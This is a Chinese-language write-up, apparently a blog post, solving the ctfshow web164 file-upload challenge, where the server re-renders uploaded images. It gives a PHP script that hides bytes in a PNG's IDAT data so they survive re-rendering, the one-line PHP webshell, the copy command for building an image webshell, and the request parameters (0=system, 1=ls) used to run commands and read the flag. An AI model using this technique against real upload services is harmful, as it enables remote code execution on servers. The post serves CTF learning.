ctfshow-web164

一:初步尝试

开靶机的时候显示改头换面,那就说明之前用RFI做就可能不行了,然后试了一下也确实不可以,看了大师傅的视频和别的wp说是二次渲染【服务器在文件上传后,对文件内容进行再次处理或修改的过程。这种处理通常用于优化文件大小、格式化文件内容或进行安全检查】然后说直接按简单的方法生成一个图片马大概率不行,但我又想试试。

1.copy指令

首先我们需要一张正常的图片,不要太大,可以直接屏幕截图截一小块:a.png

然后是我们的一句话木马文件:b.php

用以下命令生成图片马:shell.png

bash 复制代码
copy a.png/b + b.php/a = shell.png

(copy的地址是两个文件所在地址,我是在桌面,所以先要 cd Desktop

/a 代表 ASCII 码,/b 代表二进制文件

然后上传我们的图片马,果然还是失败了

010里面打开是这样的,可以看到是直接在结尾加了一个木马:

2.顺推

其实这里就有一个问题,后续不管是将图片以txt格式打开或者010打开最后面加一句话木马都会出现的:因为 PHP 在解析图片时,可能只解析到"图片真正结束的地方"。

所以我们要把木马写进 PNG 的 IDAT 数据块里,让它在"图片内容"中,而不是"图片后面"。

这里先给出png的文件结构:

php 复制代码
PNG Header
IHDR   (头信息)
IDAT   (真正的图像数据,可多个)
IEND   (图片结束标记)

在某些场景里:

  • PHP 是通过 图像函数 / 文件流

  • 或者程序在读文件时:只读到 IEND,后面的数据被忽略

就比如

php 复制代码
imagecreatefrompng('a.png');  //imagecreatefrompng() 返回图像标识符,代表从指定文件名获得的图像。

而在这里很明显就是这样的,因此我们需要通过脚本把一句话木马写到IDAT块中。

二:脚本运用

php 复制代码
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);
 //像素的RGB值,让 getimagesize()、图片解析全部通过。
 
 
$img = imagecreatetruecolor(32, 32);  //创建画布
 
for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}  //往图片里加东西
 
imagepng($img,'./my.png'); 
?>  //导出图片
#<?=$_GET[0]($_POST[1]);?>  //追加到文件末尾

然后我去用VScode跑了一下,创建的是一个index.php,但是有个问题:

这个报错是指我的php没有装GD库 【GD库是PHP语言的图形处理扩展库,提供生成、处理图像及添加水印等功能的API,支持JPEGPNGGIF等主流图像格式,广泛应用于缩略图生成、验证码创建及数据报表制作等Web开发场景 。其内存管理机制独立于PHP常规配置,通过gd_info()函数可查询支持的图像格式】

可以打开VScode终端,输入php --ini,然后会有一个这个,把分号去掉就可以:

php 复制代码
;extension=gd

但是我输了php --ini没反应,可能是我之前安装有点问题,反正搞了好多次就是没搞出来。

然后去问了一下说是可以用phpstudyxampp 来【云服务器也可以,但配置有点麻烦,还得买,如果有需要可以参考web162搭建的云服务器】,这里我就用xampp来做【配置教程可以看其他大佬写的博客,这里我找了一个xampp安装与配置

打开xampp,开启Apache,如下:

然后是找到xampp的安装路径【我在D盘】,然后在VScode终端输入:

bash 复制代码
D:\xampp\php\php.exe -m

最开是没有gd的,然后我们输入

bash 复制代码
D:\xampp\php\php.ini

然后就能找到我们之前所讲的:

把分号去掉并保存,再重新打开一个终端,输入 -m 之后就能看到gd了。

然后转到index.php所在文件位置【我在桌面】,运行指令回显如下:

bash 复制代码
PS C:\Users\Linkb\Desktop> D:\xampp\php\php.exe index.php
>> 
#PHP Warning:  Undefined array key 0 in C:\Users\Linkb\Desktop\index.php on line 25

Warning: Undefined array key 0 in C:\Users\Linkb\Desktop\index.php on line 25
PHP Fatal error:  Uncaught Error: Value of type null is not callable in C:\Users\Linkb\Desktop\index.php:25
Stack trace:
#0 {main}
  thrown in C:\Users\Linkb\Desktop\index.php on line 25

Fatal error: Uncaught Error: Value of type null is not callable in C:\Users\Linkb\Desktop\index.php:25
Stack trace:
#0 {main}
  thrown in C:\Users\Linkb\Desktop\index.php on line 25

这里有一个报错问题都是在第25行,即表示我们的木马写的有问题,我不知道是不是我跑的软件有问题,我这里是要将这个木马写到imagepng($img,'./my.png'); 后面然后进行注释才可以。这里就发现了一个注意点:**?> 后面的内容,除非再次进入 <?php,否则不属于 PHP,**就是说我们要将木马放在php里面,那么代码就变成了这样:

php 复制代码
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'./my.png');
//<?=$_GET[0]($_POST[1]);?>
?>

这时候再运行:

bash 复制代码
D:\xampp\php\php.exe index.php

这样就能在桌面上找到我们生成的图片了。

三:上传图片马

我上传图片马,点击查看图片,然后用hackbar改一下,URL最后面加一个&0=system,再POST传参一个1=ls,开启抓包后再execute:

可以看到有flag.php是直接在该目录下的,然后我们再tac 一下flag就能找到答案:

四:总结

总的来说,web164就相当于allow_url_include=Off的情况下并且普通的生成图片马的方式被检测的情况下通过脚本将木马插入后门中使其永久生效,确实称得上是改头换面,也是又学到文件上传的一种新的方法。

相关推荐
kali-Myon3 小时前
2025春秋杯网络安全联赛冬季赛-day1
java·sql·安全·web安全·ai·php·web
kali-Myon4 小时前
2025春秋杯网络安全联赛冬季赛-day3
python·安全·web安全·ai·php·web·ctf
大方子21 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha1 天前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络1 天前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd1 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你1 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha2 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1192 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全